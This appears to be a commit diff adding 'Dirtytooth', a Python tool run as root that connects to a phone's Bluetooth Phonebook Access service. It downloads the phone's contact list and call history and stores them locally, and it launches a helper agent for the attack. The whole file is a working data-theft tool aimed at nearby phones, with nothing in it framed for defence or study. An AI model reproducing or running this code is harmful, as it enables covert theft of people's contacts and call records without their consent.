|
| 1 | +#!/usr/bin/python |
| 2 | +# -*- coding: utf-8 -*- |
| 3 | + |
| 4 | +import os |
| 5 | +import sys |
| 6 | +import time |
| 7 | +import psutil |
| 8 | +import logging |
| 9 | +import argparse |
| 10 | +import datetime |
| 11 | +import bluetooth |
| 12 | +import subprocess |
| 13 | +from nOBEX import client, headers, responses |
| 14 | + |
| 15 | +START_PATH = '/usr/lib/dirtytooth/start' |
| 16 | +FILES_PATH = '/root/dirtytooth/' |
| 17 | +LOG_PATH = '/var/log/bluetooth_dev' |
| 18 | + |
| 19 | +parser = argparse.ArgumentParser(description='Dirtytooth package', |
| 20 | + epilog="Enjoy with dirtytooth!") |
| 21 | +group = parser.add_mutually_exclusive_group(required=True) |
| 22 | +group.add_argument('--start', action='store_true', help='Start agent discover') |
| 23 | +group.add_argument('--stop', action='store_true', help='Stop agent discover') |
| 24 | +group.add_argument('--mac', help='MAC device to get dirtytooth! }:)') |
| 25 | +args = parser.parse_args() |
| 26 | + |
| 27 | + |
| 28 | +def get_pid(): |
| 29 | + for proc_name in psutil.pids(): |
| 30 | + if psutil.Process(proc_name).name() == 'dirtyagent': |
| 31 | + return psutil.Process(proc_name).pid |
| 32 | + return None |
| 33 | + |
| 34 | + |
| 35 | +def write_file(filename, file): |
| 36 | + with open(FILES_PATH + filename, "w") as f: |
| 37 | + f.write(file) |
| 38 | + |
| 39 | + |
| 40 | +def get_name(addr): |
| 41 | + return subprocess.check_output(["/usr/lib/dirtytooth/device", |
| 42 | + "name", addr], shell=False) |
| 43 | + |
| 44 | + |
| 45 | +def connect(device_address): |
| 46 | + d = bluetooth.find_service(address=device_address, uuid="1130") |
| 47 | + if not d: |
| 48 | + logging.error('No Phonebook service found.') |
| 49 | + sys.exit(1) |
| 50 | + |
| 51 | + port = d[0]["port"] |
| 52 | + |
| 53 | + # Use the generic Client class to connect to the phone. |
| 54 | + c = client.Client(device_address, port) |
| 55 | + uuid = b'\x79\x61\x35\xf0\xf0\xc5\x11\xd8\x09\x66\x08\x00\x20\x0c\x9a\x66' |
| 56 | + result = c.connect(header_list=[headers.Target(uuid)]) |
| 57 | + |
| 58 | + if not isinstance(result, responses.ConnectSuccess): |
| 59 | + logging.error('Failed to connect to phone.') |
| 60 | + sys.exit(1) |
| 61 | + |
| 62 | + return c |
| 63 | + |
| 64 | + |
| 65 | +def get_file(c, src_path, filename, book=True): |
| 66 | + if book: |
| 67 | + mimetype = b'x-bt/phonebook' |
| 68 | + else: |
| 69 | + mimetype = b'x-bt/vcard' |
| 70 | + |
| 71 | + hdrs, file = c.get(src_path, header_list=[headers.Type(mimetype)]) |
| 72 | + write_file(filename, file) |
| 73 | + logging.info('%s save!' % filename) |
| 74 | + |
| 75 | + |
| 76 | +def main(): |
| 77 | + logging.basicConfig(format='%(levelname)s:%(message)s', |
| 78 | + filename=LOG_PATH, |
| 79 | + level=logging.DEBUG) |
| 80 | + |
| 81 | + if args.start: |
| 82 | + if get_pid(): |
| 83 | + print('Process dirtyagent is already open!') |
| 84 | + else: |
| 85 | + subprocess.call([START_PATH], shell=True) |
| 86 | + elif args.stop: |
| 87 | + pid = get_pid() |
| 88 | + if pid: |
| 89 | + p = psutil.Process(pid) |
| 90 | + p.terminate() |
| 91 | + else: |
| 92 | + print('Process dirtyagent doesn´t exist') |
| 93 | + else: |
| 94 | + if get_pid(): |
| 95 | + print('Dirtytooth: Getting device info: %s' % args.mac) |
| 96 | + |
| 97 | + device_address = args.mac |
| 98 | + |
| 99 | + c = connect(device_address) |
| 100 | + |
| 101 | + if not os.path.isdir(FILES_PATH): |
| 102 | + os.mkdir(FILES_PATH) |
| 103 | + |
| 104 | + date = datetime.datetime.fromtimestamp(time.time()).strftime('%Y%m%d%H%M%S') |
| 105 | + |
| 106 | + get_file(c, "telecom/pb.vcf", |
| 107 | + "%s-UTC_%s_phonebook" % (date, device_address)) |
| 108 | + get_file(c, "telecom/cch.vcf", |
| 109 | + "%s-UTC_%s_history" % (date, device_address)) |
| 110 | + |
| 111 | + c.disconnect() |
| 112 | + return 0 |
| 113 | + else: |
| 114 | + print('Process dirtyagent doesn´t exist') |
| 115 | + |
| 116 | + |
| 117 | +if __name__ == "__main__": |
| 118 | + if os.geteuid() != 0: |
| 119 | + print "Dirtytooth must be executed as root." |
| 120 | + sys.exit(1) |
| 121 | + sys.exit(main()) |
0 commit comments